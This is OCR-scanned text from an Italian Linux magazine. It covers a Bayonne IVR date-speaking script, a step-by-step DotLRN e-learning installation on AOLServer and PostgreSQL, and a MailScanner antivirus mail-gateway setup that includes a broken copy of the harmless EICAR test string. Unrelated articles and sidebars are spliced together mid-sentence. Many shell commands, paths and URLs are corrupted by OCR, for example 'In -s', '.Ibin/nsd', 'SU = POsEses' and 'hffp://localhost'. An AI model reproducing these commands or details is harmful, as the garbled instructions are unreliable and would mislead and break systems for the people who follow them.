Per creare il nuovo script, bisognerà modificare il file /usr/local 
/share/bayonne/playrec.scr, per questo motivo è consigliato fare 
una copia di backup del file. Grazie al file /erc/bayonne.sched, non 
è necessario modificare /usr/local/share/playrec.scr per inserire un 
nuovo script, ma, per il momento, procediamo in questo modo. 
Il codice da inserire sul file è il seguente: 


set %session.voice Italiane 
speak &date %session.date 
exit 


e set %session.voice ItalianF imposta come lingua utilizzata “Ita- 
lianF”, ovvero la lingua italiana femminile; 


e speak &date vocalizza una data, ed in particolare, “speak 
&date %session.date”, vocalizza la data odierna; 


e exitè l'istruzione di chiusura dello script. 


Dopo aver salvato il nuovo script, se il server era inattivo, è suffi- 
ciente avviarlo mentre, se il server non era attivo, è sufficiente 
eseguire il seguente comando da un'altra shell con utente root: 


bayonne_contro] compile 


A questo punto, possiamo testare lo script appena eseguito pre- 
mendo la “barra spaziatrice”, quindi simulando una telefonata 
verso il server IVR. 
Con sole tre righe di codice abbiamo creato un servizio telefonico 
che fornisce la data odierna. Sono disponibili altre lingue, oltre a 
quella italiana e quella inglese (ad esempio francese e russo), ma è 
necessario installare i pacchetti relativi. 
pnfStudio snc 
in collaborazione con Luca Bariani 


rr _ o _——1k1k1k1R111HRR10— si 
COMPATIBILITÀ CON I SISTEMI TTS 
Un sistema Text To Speech è un sintetizzatore vocale, ovvero 
un'applicazione che permette di trasformare un comune testo 
in un file audio; Text To Speech significa, appunto, da testo a lin- 
guaggio parlato. Un esempio classico di utilizzo di questi siste- 
mi è sui programmi per persone non vedenti, i quali leggono 
(ovvero eseguono un file audio) il contenuto testuale delle pagi- 
ne web. | TTS che si interfacciano con GNU Bayonne sono 
attualmente: 


e Festival - www.cstr.ed.ac.uk. /projects/festival. Possiede 
librerie vocali in più lingue, tra cui quella italiana 
(http://www. csrf.pd.cnr.. it/TTS/It-FESTIVAL-download.htm uti- 
lizzabile per fini non com- 
merciali). Si interfaccia 
con G.N.U. Bayonne, ma 
non nativamente. 
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L] Database 


9 evoluzione della tecnologia ha 
provocato radicali cambiamenti 
nel modo di vivere comune. Tutti 


gli aspetti ne sono in qualche mo- 
do influenzati. Ovviamente, anche i meto- 
di di insegnamento e apprendimento 
sfruttano a proprio vantaggio le nuove 
tecnologie dell'ICT, prima fra tutte il 
cosiddetto E-Learning. Le soluzioni oggi 
disponibili sono molteplici e alcune sono 
arrivate ad un buon livello di funzionalità 
e stabilità, ma ancora la strada sembra lunga per fare di queste 
uno strumento universalmente accettato ed utilizzato. In pratica 
una piattaforma di E-Learning è un ambiente, solitamente acces- 
sibile via web, attorno al quale ruotano tutte le problematiche 
classiche della didattica. Fra i vari componenti trovano posto 
moduli per la condivisione di file, documenti ed informazioni. 
Inoltre, sono sempre presenti funzionalità di calendario, agenda 
e news. Vengono spesso utilizzati i forum e le chat per far incon- 
trare e confrontare i vari attori coinvolti in queste attività: docen- 
ti, tutor, studenti, amministratori del sistema, etc. In alcune 
implementazioni troviamo anche moduli che simulano esami e 
quiz, per valutare il grado di apprendimento raggiunto. 
L'organizzazione del materiale è quella di un corso classico, 
quindi, proprio come avviene nella didattica tradizionale, ci 
saranno docenti, dispense, esami e moduli di valutazione. L'unica 
cosa che differenzia questo approccio è la possibilità di accedere 
a tutte queste risorse direttamente on-line, eliminando il vincolo 
di esssere presenti fisicamenti in aula. 


a distanza 


LA PROPOSTA OPEN SOURCE 


La soluzione più complessa che l'ambiente OpenSource offre per 
l'E-Learning è senza dubbio quella sviluppata inizialmente al 
MIT chiamata DotLRN. Al momento le cifre ufficiali parlano di 
più di 250.000 utilizzatori e una diffuzione internazionale no- 
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A LEZIO 
SUL WE 


Cambia il modo 

di studiare ma 

la comunità Open 
Source non si fa 
sorprendere, 
proponendo soluzioni 
potenti e flessibili 
come DotLRM per 
venire incontro 
alle esigenze 
dell'insegnamento 


tevole sia nelle università sia nelle istitu- 
zioni governative. È nata anche una comu- 
nità di sviluppatori ed un consorzio che 
garantiscono un continuo sviluppo della 
piattaforma e una evoluzione nelle funzio- 
nalità così da soddisfare le diverse esigen- 
ze che il mercato richiede. Fra le varie fun- 
zionalità che troviamo in questa piattafor- 
ma di e-learning citiamo: 

File Storage - È possibile gestire uno spazio 
dove archiviare file personali sia come sin- 
golo studente, che come docente e condividerli con tutti i parte- 
cipanti al corso o all'intera comunità; 

Forum, Calendari, News - Il supporto di queste funzionalità è sem- 
pre presente negli strumenti di CMS ed ovviamente qui non po- 
teva mancare; 

Chat - Esiste un’applicazione interna che gestisce una chat per 
permettere agli utenti di confrontarsi e dialogare. È presente an- 
che un modulo che supporta il protocollo Jabber. 


PREPARIAMO IL SISTEMA 


Iniziamo subito la nostra avventura con l'installazione di questa 
piattaforma. Per prima cosa è consigliabile creare una directory 
dove scaricare tutti i componenti necessari all'installazione, ad 
esempio: 


mkdir /usr/local/src/dotlrn 


Scompattiamo il file compresso con il comando: 
eli vii colma 2110 
Il primo passo veramente impegnativo che dobbiamo affrontare 


è l'installazione del server web di AOL, che come la documenta- 
zione suggerisce è meglio installare da CVS. Inoltre, serviranno 


AMBITI DI UTILIZZO 


La piattaforma DotLRN trova 
spazio in diverse organizza- 
zioni sia pubbliche sia priva- 
te, tutte ovviamente accomu- 
nate da un unico fine, l'inse- 
gnamento e l'apprendimento: 


e supporto alle comunità di 
studio e ricerca; 

e gestione di corsi di forma- 
zione online; 

e sistemi di gestione dei 


contenuti CMS; 
e supporto a comunità onli- 
ne. 


Sul sito ufficiale è disponibile 
un interessante approfondi- 
mento di alcuni casi di studio 
che chiariscono come l'utiliz- 
zo di questa tecnologia ha 
portato a un miglioramento 
nella qualità del servizio e a 
un abbattimento dei costi. 


alcuni software aggiuntivi per completare questo passo. 
Il primo mattone da inserire è il supporto al linguaggio TCL con 
il supporto dei thread. Il modo più semplice è dare la seguente 


sequenza di comandi: 


wget http://heanet.dl.sourceforge.net/sourceforge 


(Reel ee 84 YES Pea 97 


tar xvzf tc18.4.7-src.tar.gz 


cd tc18.4.7/unix 


DATABASE SUPPORTATI 


documentazione ufficiale è 
anche presente una sezione 
che descrive come aumenta- 
re le prestazioni del nostro 
database per sistemi di 
dimensioni maggiori. 


Al momento è possibile 
usare Oracle e PostgreSQL. 
Per la prova utilizzeremo 
ovviamente il secondo che 
quindi andrà configurato 
opportunamente. Nella 


/evsroot/aolserver co nspostgres 
cvs -Z3 -d:pserver:anonymous@cvs.sourceforge.net: 
/cvsroot/aolserver co nsshal 
cvs -Z3 -d:pserver:anonymous@cvs.sourceforge.net: 
/cvsroot/aolserver co nsxml] 
wget http://www.tdom.org/files/tDOM-0.8.0.tar.gz 
tar xvfz tDOM-0.8.0.tar.gz 


Per chi non ha dimestichezza con il funzionamento di CVS basta 
sapere che in questo modo abbiamo scaricato i moduli necessari 
alla nostra installazione. La funzione specifica dei singoli moduli 
ci sarà chiara in seguito. Possiamo ora iniziare la compilazione. 
Per fare ciò eseguiamo i comandi: 


cd /usr/local/src/aolserver40r8/aolserver 


./configure -enable-threads 


make 


./configure --prefix=/usr/local/aolserver40r8 
--with-tcl=/usr/local/lib/ 


make install 


Dopo qualche minuto necessario per la compilazione, siamo 
pronti per installare uno dei pilastri della piattaforma, il Web ser- 
ver AOLServer. Diamo i seguenti comandi nella sequenza indi- 


cata 


cd /usr/local/src 


mkdir aolserver40r8 


cd aolserver40r8 


cvs -Z3 -d:pserver:anonymous@cvs.sourceforge.net: 
/cvsroot/aolserver co -r aolserver_v40_r8 aolserver 


make install 
In -s /usr/local/aolserver40r8 /usr/local/aolserver 
In -s /usr/local/aolserver40r8 /usr/local/aolserver 


Abbiamo compilato il server, ma dobbiamo fare un po’ di lavoro 
extra con i moduli esterni. L'ultimo link creato serve a sem- 
plificare le cose, visto che presumibilmente questa che stiamo 
compilando sarà l'unica istanza in esecuzione di questo server 
sulla nostra macchina. Diamo adesso i seguenti comandi così da 
compilare tutti i moduli che AOLServer richiede: 


cd /usr/local/src/aolserver40r8/nscache 


cvs -Z3 -d:pserver:anonymous@cvs.sourceforge.net: 


/cvsroot/aolserver co nscache 


make install 
cd ../nspostgres 


cvs -Z3 -d:pserver:anonymous@cvs.sourceforge.net: 


OPENACS, MA DI COSA SI TRATTA? 


OpenACS è la sigla che iden- 
tifica Open Architecture Com- 
munity Sistem, in pratica si 
tratta di una piattaforma di 
supporto per lo sviluppo di 


siti web e comunità online 
con il vantaggio di essere al- 
tamente scalabile e configu- 
rabile. Questa è la base di 
diversi progetti, fra cui ap- 
punto DotLRN. In effetti, per 
installare DotLRN è necessa- 


rio seguire tutti i passi citati 
nella documentazione ufficia- 
le di OpenACS, con l'accorgi- 
mento di utilizzare, in quelli 
finali, il pacchetto DotLRN e 
non quello ufficiale di Open- 
ACS. Infatti DotL.RN non è al- 
tro che l'ambiente OpenACS 
con l'aggiunta di una serie di 
moduli sviluppati ad hoc che 
implementano le funzionalità 
tipiche dell'e-learning. 


make install POSTGRES=/usr/local/pgsql ACS=1 
INST=/usr/local/aolserver40r8 


cd ../nsshal 
make 
make install 
cd ../tDOM-0.8.0/unix 
../configure --enable-threads --disable-tdomalloc 
--prefix=/usr/local/aolserver40r8 --with- 
tcl=/usr/local/lib 


make install 


Siamo pronti per copiare lo script di avvio e garantire il suppor- 
to a PostgreSOL con i comandi 


cd /usr/local/aolserver40r8/bin 
cp /usr/local/src/dotlrn/dotlrn-2.1.1/packages 
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/acs-core-docs/www/files/nsd-postgres.txt 
./nsd-postgres 


chmod 755 nsd-postgres 


A questo punto testiamo il lavoro fin qui svolto: 


cd /usr/local/aolserver 
chown -R root.nobody log servers 


chmod -R g+w log servers 

lisa 

echo "Welcome to AOLserver" > /usr/local/aolserver40r8 
/servers/serverl/pages/index.htm] 


Abbiamo cambiato i permessi alle directory e creato una pagina 
di benvenuto perché questa non è prevista di default nell'instal- 
lazione di AOLServer. Avviamo ora il servizio con il comando 


.Ibin/nsd -t sample-config.tc] -u nobody -g nobody 


Ovviamente appariranno dei messaggi di errore perché ancora la 
configurazione è parziale. Il server sarà ora in ascolto sulla porta 
8000. Proviamo il tutto puntando il browser all'url hffp://localho- 
st:8000. Se tutto è andato bene apparirà una schermata simile a 
quella in figura 1. Arrestiamo ora il servizio e continuiamo. 


killall nsd 


INSTALLAZIONE DI DOTLRM 


Prepariamo la directory che conterrà il servizio 


mkdir /var/lib/aolserver 
chgrp nobody /var/lib/aolserver 
chmod 770 /var/lib/aolserver 


Dobbiamo ora creare un utente di sistema che eseguirà il servi- 
zio. Chiamiamolo ad esempio dotlrn1 


useradd dotlrnl 


Posizioniamo il pacchetto dotlrn direttamente nella directory 
/var /lib/aolserver. Spostiamoci nella nuova directory 


cd /var/lib/aolserver 


scompattiamo il tutto 


La sz doelinta2;11oransoz 


rinominiamo e cambiamo i permessi 


mv dotlrn-2.1.1 dotlrni 


chmod -R 755 dotlrnl 


chown -R dotlrnl.dot]lrnl dotlrn 


Siamo pronti per configurare PostgreSOL. 
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Welcome to AOLserver 


I Fig. 1 » Test per la verifica del funzionamento di AOLServer 


CONFIGURAZIONE 
DEL DATABASE POSTGRESQL 


Da utente root eseguiamo i seguenti comandi 


SU = POsEses 
createuser -a -d dotlrnl 


exit 


A questo punto creiamo un nuovo database 


su - dotlrnl 

createdb -E UNICODE dotlrnl 
createlang plpgsql dotlrnl 
exit 


Dobbiamo ora impostare il servizio cron affinchè esegua il 
vacuum giornaliero per il nuovo database. Questo ci garantirà 
una migliore efficienza. Diamo il comando 


crontab -e 


e inseriamo le seguenti linee 


0 1-23 * * * /usr/local/pgsql/bin/vacuumdb --analyze 
dotlrnl > /dev/null 2>&1 
0 0 * * * /usr/local/pgsql/bin/vacuumdb --full -- 
analyze dotlrnl > /dev/null 2>&1 


ABILITIAMO IL SUPPORTO 
PER DOTLRM IN AOLSERVER 


Effettuiamo l'accesso come utente dotlrn] e spostiamoci nella 
directory di configurazione 


su - dotlrnl 
cd /var/lib/aolserver/dotlrnl/etc 


Editiamo il file config.tcl, modifichiamo l'impostazione “server” 
dove inseriremo “dotlrnI”. Modifichiamo anche lo script di par- 
tenza che si trova in /var/lib/aolserver/dotlrnl/etc/daemontools/run 
e qui modifichiamo la linea di comando come riportato: 


exec /usr/local/aolserver/bin/nsd-postgres -it /var/lib 
/aolserver/dotlrnl/etc/config.tc] -u dotlrnl -g nobody 


A questo punto non ci resta che eseguire lo script: 


/var/lib/aolserver/dot]lrnl/etc/daemontool/run & 


e puntiamo il browser all'url hffp:/Iocalhost:8000. Dopo aver 
inserito tutte le info clicchiamo in basso nella pagina per prose- 
guire. Vedremo a video tuttti i passi della creazione delle varie 
tabelle nel database. Alla fine della pagina, vedremo, una nota 
che ci avvisa che il server è stato riavviato e che dovrebbe ripar- 
tire da solo. Se il servizio non riparte, probabilmente è perché 
non abbiamo eseguito il comando come root, quindi rieseguiamo 
lo script di avvio. Questa è una piccola anomalia che non viene 
citata nella documentazione. 


/var/lib/aolserver/dot]lrnl/etc/daemontool/run & 


IL PRIMO ACCESSO 


Se non fosse già ripartito il servizio diamo nuovamente il comando 


/var/lib/aolserver/dotlrnl/etc/daemontools/run & 


e puntiamo il nostro browser su htfp://iocalhost:8000/dotlrn. 
Inseriamo ora l'email indicata come amministratore con la rela- 
tiva password ed entriamo nel sistema. 

Ci verrà chiesto se effettuare la registrazione come docente, stu- 
dente, ospite o altro. Completeremo questa parte in un secondo 
momento. Diamo intanto un’occhiata alle funzioni di ammini- 
strazione. Dal menu orizzontale in alto scegliamo Administration. 
Compariranno una serie di link che ci permetteranno di gestire 
tutte le funzionalità. 

In particolare la prima parte dei menu serve per iniziare ad uti- 
lizzare subito la piattaforma definendo nuovi utenti, corsi, classi, 
dipartimenti; mentre l'ultima voce consente di gestire tutte le 
impostazioni della piattaforma compresa l'installazione automa- 
tica di nuovi moduli e servizi che servono ad estendere le funzio- 
nalità di base del sistema. 
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Your PostgreSQL driver is corrcety installed and configured 


System Configuration 


Well neod to create a sitewide administrator for your server (like the root user in UNIX). Please type in the email address, first and last nume, and 
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le informazioni per ultimare l'installazione 


GESTIONE DEL SISTEMA 


Analizziamo un po’ più a fondo i menu di gestione. Come eserci- 
zio cambiamo la lingua di default del sistema. Come prima cosa 
clicchiamo su OpenACS Site Wide Administration. Da lì scegliamo 
Internationationalization/Localization. Apparirà una lista di scelte 
possibili. Clicchiamo sulla checkbox relativa all'italiano. Ci vorrà 
probabilmente qualche secondo prima che la pagina si aggiorni. 
Subito dopo clicchiamo in basso sul link Change language. Nella 
pagina successiva scegliamo dal menu a tendina la lingua italiana. 
A questo punto possiamo effettuare il logout e di nuovo il login, 
per vedere l'interfaccia in italiano. Ovviamente alcuni menu 
rimangono in inglese perché la traduzione non è completa. 


AGGIUNTA DI UN NUOVO MODULO 
E CONFIGURAZIONE DI UNO ESISTENTE 


Effettueremo per semplicità l'installazione di un nuovo modulo 
dalla rete. Allora sempre dal menu OpenACS Site Wide 
Administration scegliamo Install Software e dalla pagina che ci 


ven 4 feb, 10.53 ©) 
Log im + Mozilla Preise 


Ele Ede View Go Bodimanks Tod Rep 

®- S I) [LI tmpritacaost B00Gmegrsten Trota tuta Adatta 
Rd Mat, inc. LÌ Red Hat Nenwod: LI Supgon 1) Shop CI Products (I Training 

Ti togim | 


|.) Insrali OpenACS $.14 


[N Fig. 4 » Primo login nel sistema 


mostra le due alternative scegliamo di installare da un repository 
remoto cliccando sul link che si trova nella parte sinistra Install 


from repository. A questo punto appare un elenco completo di 


moduli distinti fra applicazioni e servizi. 

Come esempio introduttivo installiamo l'applicazione Ad Server, 
così da gestire l'esposizione di banner sul sito e la possibilità di 
monitorare i click ricevuti. Allora clicchiamo su Application e poi 
su Install. Selezioniamo dalla lista il checkbox relativo al servizio 
scelto e poi clicchiamo in basso sul tasto di conferma. È interes- 
sante notare che è possibile effettuare una installazione anche 
multipla di più pacchetti contemporaneamente. Ci viene presen- 
tata poi una pagina di conferma, dove dobbiamo provare la 
nostra scelta. In base poi alla velocità del nostro collegamento 
viene scaricato il tutto e installato automaticamente. Clicchiamo 
poi sul link che dovrebbe riavviare il tutto. Se per caso dopo qual- 
che secondo la piattaforma non dovesse ripartire, basta eseguire 
nuovamente il comando 


/var/lib/aolserver/dotlrnl/etc/daemontools/run & 


Ricordiamoci comunque di essere loggati come utente dotlrn1. 
Questa volta, se ricarichiamo la pagina della gestione delle instal- 
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lazioni dei nuovi moduli, vedremo che è presente anche il modu- 
lo per la gestione dei banner con la relativa versione. Dal menu 
OpenACS Site Wide Administration possiamo anche aggiungere 
nuovi utenti del sistema. La cosa utile che notiamo è la possibiltà 
di caricare gli utenti non singolarmente, ma con un processo 
batch. Le altre voci presenti consentono di stabilire nuovi metodi 
per l'autenticazione nel sistema e un link alla documentazione 
generale. 


SIMULIAMO UN CORSO 


Siamo ora pronti per fare la nostra ultima prova, cioè simulare un 

corso vero e proprio. Usciamo dal sistema cliccando su Logout e 

poi effettuiamo nuovamente il login. Come prima cosa ci viene 

chiesto di registraci come Professore con accesso completo. Ap- 

proviamo questa modalità. Dopo qualche secondo, dipende dalla 

nostra postazione, ci viene presentata la pagina principale dei 

docenti. 

Per prima cosa creiamo un dipartimento. Dal link Pannello di con- 
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trollo scegliamo Amministrazione Generale Sito e poi Dipartimenti. 
Clicchiamo sul pulsante Nuovo Dipartimento e creiamo un diparti- 
mento con nome “Dipartimento di Informatica” Lasciamo gli altri 
campi vuoti. Dobbiamo creare ora una materia collegata a questo 
dipartimento. Ci viene subito presentata una pagina di riepilogo 
con i dipartimenti attivi e a fianco di ognuno c'è un link Nuova 
Materia. Aggiungiamo la nuova materia: Programmazione Logica. 


APPLICAZIONI E SERVIZI 


In pratica le applicazioni sono basata su IRC o Jabber. 
moduli esterni che vengono | servizi invece sono esten- 
caricati ed inseriti opportuna- sioni della piattaforma stes- 
mente nella piattaforma, sa, magari per interfacciarsi 
come ad esempio la possibi- ad altri sistemi come ad 

lità di gestire un sistema di esempio i sistemi di paga- 
banner pubblicitari oppure mento online, oppure sistemi 
collezionare curriculum degli di autenticazione e certifica- 
utenti o supportare una chat zione. 
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A questo punto compare un'altra pagina di riepilogo dove però 
ancora non compaiono classi. Poichè una classe e un corso sono 
legati ad un periodo o una sessione, dobbiamo prima creare una 
sessione. Analogamente a prima andiamo nel Pannello di conr- 
trollo, clicchiamo su Session e creiamo una sessione e un periodo. 
Possiamo anche usare il popup dei calendari per scegliere le date. 
Siamo arrivati al momento di creare una classe. Dal menu che 
troviamo in orizzontale in alto clicchiamo su Subjects e da lì creia- 
mo una nuova classe. Nella pagina che ci viene proposta trovia- 
mo un riepilogo di dipartimenti con materie eclassi relative. 

È anche possibile ripristinare con le vecchie impostazioni una 
classe precedente. Se scelgiamo di non creare anche un professo- 
re contestualmente lo possiamo aggiungere anche dopo. Scelto il 
nome della classe non ci resta che simulare il login come studen- 
te. Usciamo dal sistema, ricarichiamo la prima pagina e registria- 
moci come un nuovo utente. Dopo aver compilato i campi dob- 
biamo effettuare di nuovo il logout e poi il login come ammini- 
stratori e dal pannello di controllo scegliamo l'amministrazione 
generale del sito e poi utenti. Lì vedremo la nostra nuova richie- 
sta pendente. Basterà per noi cliccare su “Approva e aggiungi a 
Dot”. Dalla schermata successima scelgiamo di trattare questo 
utente come studente senza privilegi. Ora effettuiamo nuovamen- 
te il logout e il login con i parametri dell'utente appena approva- 
to. Dal menu “Il mio spazio” clicchiamo su “Partecipa ad una clas- 
se oa una comunità”, infine, clicchiamo su Join. Ora tornando sul- 
la pagina “/! mio spazio” troveremo un nuovo link con il nome 
della classe a cui stiamo partecipando. Come è semplice capire 
dalla pagina che ci viene presentata, cliccando su questa classe si 
ha accesso a un calendario con gli appuntamenti della classe, una 
seazione download, delle news e tanto altro. Ovviamente uno stu- 
dente può partecipare a più classi. È anche possibile creare delle 
comunità, similmente ci sarà un calendario condiviso, un'area 
download e molto altro. 


CONCLUSIONI 


Questa piattaforma per l'E-Elearning è molto potente e flessibi- 
le ma allo stesso tempo complessa da gestire. Per padroneggiare 
il sistema, basta solo un po’ di esercizio, senza scoraggiarsi se 
qualche passaggio non riesce al primo colpo o se è necessario un 
po’ più di tempo per configurare tutti i moduli. 
Inoltre, è bene precisare che questa piattaforma richiede delle 
risorse hardware che si avvicinano alle specifiche di una macchi- 
na di classe server. 

Carlo Stumpo 


L] Rete 


on oltre 450.000 download e circa 
5 miliardi di mail filtrate ogni set- 
timana, MailScanner è uno dei 
motori di scansione antivirus per 
server di posta elettronica più utilizzati al 
mondo. Il software è distribuito con licen- 
za GNU GPL e permette di utilizzare con- 
temporaneamente fino a 14 diversi soft- 
ware antivirus. 
Tra questi citiamo Sophos (Www.sophos.com - commerciale), 
McAfee (www.mcafee.com/it), f-prot (www.f-prot .com), 
H+BEDV Antivir (www.antivir.de/en), ClamAntivirus (www.cla- 
mav.net) e BitDefender (www. bitdefender.com). 
Per questi ultimi l’utilizzo è gratuito per fini non commerciali. 
Caratteristiche fondamentali di MailScanner sono: 


e aggiornamento automatico delle definizioni per i motori di 
scansione antivirus installati sul relay di posta elettronica; 

e alta scalabilità; 

® facilità di configurazione; 

e massimo controllo sullo spam; 

® rilevazione delle “Phishing Fraud” 

e. controllo sul contenuto dei messaggi 

e utilizzo di “realtime blacklist” per impedire l’inoltro di posta 
proveniente da spammers. 


REQUISITI HARDWARE 


Per il corretto funzionamento di MailScanner non occorre 


hardware particolarmente potente. Un server di medie dimen- 
sioni (con processore di 2,4 Gbyte e 1 Gbyte di memoria RAM) 
riesce a gestire abbastanza agevolmente 15.000 mail al giorno. 


PROCEDIAMO CON L'INSTALLAZIONE 


Scarichiamo l’ultima versione di MailScanner disponibile al mo- 
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VIRUS 


MAILSCANNER 
|$> 4.40.11 


Licenza: GNU GPL 
Sito we: www.mailscanner.info 
Tiro: Rete 


mento della stesura dell'articolo (all'inter- 
no del CD-DVD allegato è disponibile la 
versione MailScanner 4.40.11-1): 


wget http://www.sng.ecs.soton.ac.uk 
/mailscanner/files/4/rpm 
/MailScanner-4.38.10-1.rpm.tar.gz 


e digitiamo: 


tar -zxvf MailScanner-4.38.10-1.rpm.tar.gz 


Entriamo nella directory: cd MailScanner-4.38.10-1 e avviamo 
l'installazione con il comando: 


.linstall.sh 


Finita l’installazione MailScanner inviterà a: 


® arrestare il servizio sendmail (service sendmail stop) 

® non fare avviare sendmail all’avvio di Linux (chkconfig send- 
mail off); 

e abilitare l’avvio di MailScanner all’avvio della LinuxBox con 
qualsiasi init (chkconfig --level 2345 MailScanner on); 

© fare partire il servizio MailScanner (service MailScanner start). 


CONFIGURAZIONE DI BASE 


Il file da configurare si chiama MailScanner.conf collocato nella 
directory /etc/MailScanner. Entriamo nella directory cd /etc/Mail- 
Scanner/ ed editiamo il file MailScanner.conf con il nostro editor 
preferito e variamo i parametri (Tabella 1). Per testare il server di 
posta elettronica così configurato utilizzeremo il virus test messo 
a punto da E/CAR. Per farlo è sufficiente inserire la stringa: 


X50!P%@AP[4\PZX54(PA)7CC)7}$EICAR-STANDARD-ANTIVIRUS- 


File modificato Cosa modifica 
%report-dir% = 


letc/MailScanner/reports/it 


File originale 


%report-dir% = /etc/ 
MailScanner/reports/en 


Modifica | messaggi di errore dalla lingua inglese a quella italiana 
| messaggi di errore sono nella directory: 
-letc/MailScanner/reports/en in lingua inglese 
-letc/MailScanner/reports/it in lingua italiana 

Modifica il nome dell'organizzazione all'interno degli header 
Attiva i motori di ricerca precedentemente installati. 
Contestualmente si indica l'ordine con cui gli antivirus installati 
controlleranno le mail 


%org-name% = yoursite 
Virus Scanners = none 


%org-name% = NomeAzienda 
Virus Scanners = clamav 
antivir f-prot bitdefender 


Tabella 1: Parametri del file di configurazione MailScanner.conf 
TEST-FILE!$H+H* e  filename.rules.conf e filetype.rules.conf — contenenti i nomi dei 

file e le estensioni vietate; 

all’interno di una mail per verificare il corretto funzionamento di 

MailScanner. In questo caso viene rilevato il virus dai motori an- ° 

tivirus e viene inviata: 


MailScanner.conf — il file principale di configurazione; 


e spam.assassin.prefs.conf — configurazione di SpamAssassin per 
e al postmaster una mail contenente le indicazioni sul virus in- MailScanner; 
tercettato, quali antivirus hanno riconosciuto il virus e da 
quale indirizzo IP della rete è partita la mail infetta; e spamilists.conf— file di configurazione delle DNS blacklist per 
MailScanner; 
e una mail al destinatario con l’indicazione del motivo per cui 
la mail è stata bloccata e quale virus è stato rilevato. e virus.scanners.conf — file contenente le posizioni dei motori 
antivirus e dei relativi file di aggiornamento delle definizioni. 
MailScanner permette, in ogni caso, di inviare una notifica anche 


al mittente mediante l’opzione “Notify Senders = yes”. 


EICAR, VEDIAMO DI COSA SI TRATTA 


È la sigla di un virus fittizio creato dall'European Institute of 
Computer Anti-virus Research per testare il funzionamento dei 
programmi antivirus (per evidenti ragioni, sarebbe una pessima 
idea effettuare il test con un virus autentico). Si tratta infatti di 
una stringa di caratteri che tutti i software, per un reciproco ac- 
cordo fra i produttori, riconoscono convenzionalmente come se 
fosse un vero virus. 


UNA CONFIGURAZIONE OPERATIVA 
(ANDIAMO IN PROFONDITA) 


La configurazione che abbiamo creato è sicuramente un buon 
inizio. Possiamo, però, migliorarla eliminando, per esempio, le 
notifiche di virus ai nostri utenti, evitando di mettere i file infetti 
in quarantena o gestendo lo spam e le RTB (Tabella 2). 

Il file di configurazione di MailScanner (/etc/MailScanner.conf) è 


molto complesso e può essere configurato in vario modo a se- 
conda delle esigenze aziendali. In ogni caso risulta essere molto 
comprensibile in quanto ogni parametro è ben commentato. 

Ricordiamo solo /etc/MailScanner, la directory principale che con- 
tiene i file di configurazione del servizio. Al suo interno contiene: 


La directory /etc/MailScanner/reports/it, contiene la messaggistica 
di errore in italiano. È anche possibile effettuare modifiche ai 
messaggi di errore standard. 

All'interno della directory /etc/MailScanner/rules trovano posto le 
regole descritte nei file 


File modificato Cosa modifica 


File originale 


Quarantine Infections = no 
Information Header Value = 
quello_che_volete_scrivere 


Quarantine Infections = yes 
Information Header Value = 
Please contact the ISP for 
more information 

Warning Is Attachment = yes 


Non conserva copia dei files infetti. 
Inserisce un header “X-NomeAzienda-MailScanner-Information “ 
contenente informazioni descrittive 


L'avviso di virus viene inoltrato come testo nella mail e non come 
file allegato 

Per amministratori di sistema. Include gli header della mail infetta 
nella mail di notifica a postmaster 

RealTime Black List. Se il mittente risulta in una blacklist la mail 
non viene inviata al destinatario 


Warning Is Attachment = no 


Notices Include Full Headers 

= yes 

Spam List = ORDB-RBL SBL+XBL 
Easynet-DNSBL BLITZEDALL 
SORBS-DNSBL spamcop.net 


Notices Include Full 
Headers = no 

Spam List = ORDB-RBL 
SBL+XBL # MAPS-RBL+ 
costs money (except .ac.uk) 


Tabella 2: Modifiche avanzate ai file di configurazione 
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Come funziona MailScanner 


Ma come agisce MailScanner? | mes- 
saggi vengono controllati in cascata da: 
e Real-time blacklist (RTB) 

e Spamassassin 

e Antivirus 

Non è necessario configurare e lanciare 
i singoli programmi (Sendmail, Spam- 
Assassin, ProcMail). Penserà a tutto 
MailScanner invocandoli quando serve. 
Il controllo “Real-time blacklist” con- 
trolla se il mittente è presente in black- 
list gestite da gruppi privati. Il controllo 
effettuato si basa sull'indirizzo IP del 
mittente (se, per esempio, la mail pro- 
viene da un indirizzo IP dinamico la 
mail viene bloccata) o sul dominio di 
provenienza della mail. Se la mail in 
ricezione è classificata come SPAM la 
mail non viene inoltrata al destinatario. 
In caso di utilizzo di Sendmail come 
MTA è, in ogni caso, possibile configu- 
rarlo in modo da non accettare mail da 
domini non risolti dal DNS (commen- 
tando “FEATURE(’ ac- 
cept_unresolvable_domains')dnl” nel 
file /etc /mail/sendmail .mc). Questo 
può essere utile per diminuire il nu- 
mero di query effettuate dal server in 
gestione alla RTB. La mail che supera 


I Schema di funzionamento di MailScanner 


questo controllo viene elaborata da 
Spamassassin. Spamassassin effettua 
una serie di controlli [mittente e domi- 
nio da cui la mail parte per esempio) ed 
attribuisce un valore secondo alcuni 
criteri. Se la somma dei valori è uguale 
a 6 punti [valore che può essere variato 
dal responsabile di rete) la mail viene 
marchiata come “SPAM” nell'oggetto. 
L'utente finale può, per sua comodità, 
creare una regola automatica nel client 


di posta elettronica del suo computer in 
modo tale che la mail indesiderata ven- 
ga cestinata o archiviata in una cartella 
particolare. In ogni caso l'amministra- 
tore di rete può scegliere se etichettare, 
rifiutare, scartare, archiviare o spedire 
la mail contenente spam ad altri indi- 
rizzi per il controllo dei contenuti. Su- 
perato questo controllo viene effettuato 
il controllo della mail con i motori anti- 
virus installati sul server secondo l'or- 
dine desiderato. Se la mail contiene co- 
dice virale MailScanner può (secondo la 
configurazione decisa dall'amministra- 
tore di sistema) decidere di mettere in 
quarantena (operazione non consigliata 
in caso di server mail che gestiscono 
grossi volumi di posta) o cancellare la 
mail infetta ed inviare una mail con- 
tenente informazioni circa il nome del 
virus contenuto nella mail e quali moto- 
ri antivirus hanno riconosciuto il codice 
virale. È possibile, altresì, inviare al 
destinatario la mail “pulita”, notificargli 
il virus a lui indirizzato, oppure non 
notificare nulla. 

La mail, superati tutti questi controlli, 
viene regolarmente inoltrata al destina- 
tario. 


® bounce.rules 
e spam.whitelist.rules 


Infine, all'interno di /etc/MailScanner/mcp sono presenti i file 


e 10 example.cf 
® mcp.spam.assassin.prefs.conf 


INSTALLAZIONE DEI MOTORI ANTIVIRUS 


F-PROT - Versione Linux di un antivirus già molto apprezzato 
nella versione per Windows. Utilizza il motore di scansione di F- 
Prot ma con la possibilità di utilizzare anche il dispositivo heuri- 
stico per la ricerca di virus sconosciuti. È in grado di proteggere 
contro macro virus ed altri software dannosi, compresi i Trojans. 
Effettua lo scanning di file, directory e dispositivi. 

Per l’installazione: 


wget ftp://ftp.f-prot.com/pub/linux/fp-linux-ws-4.5.3- 
1.1386.rpm 


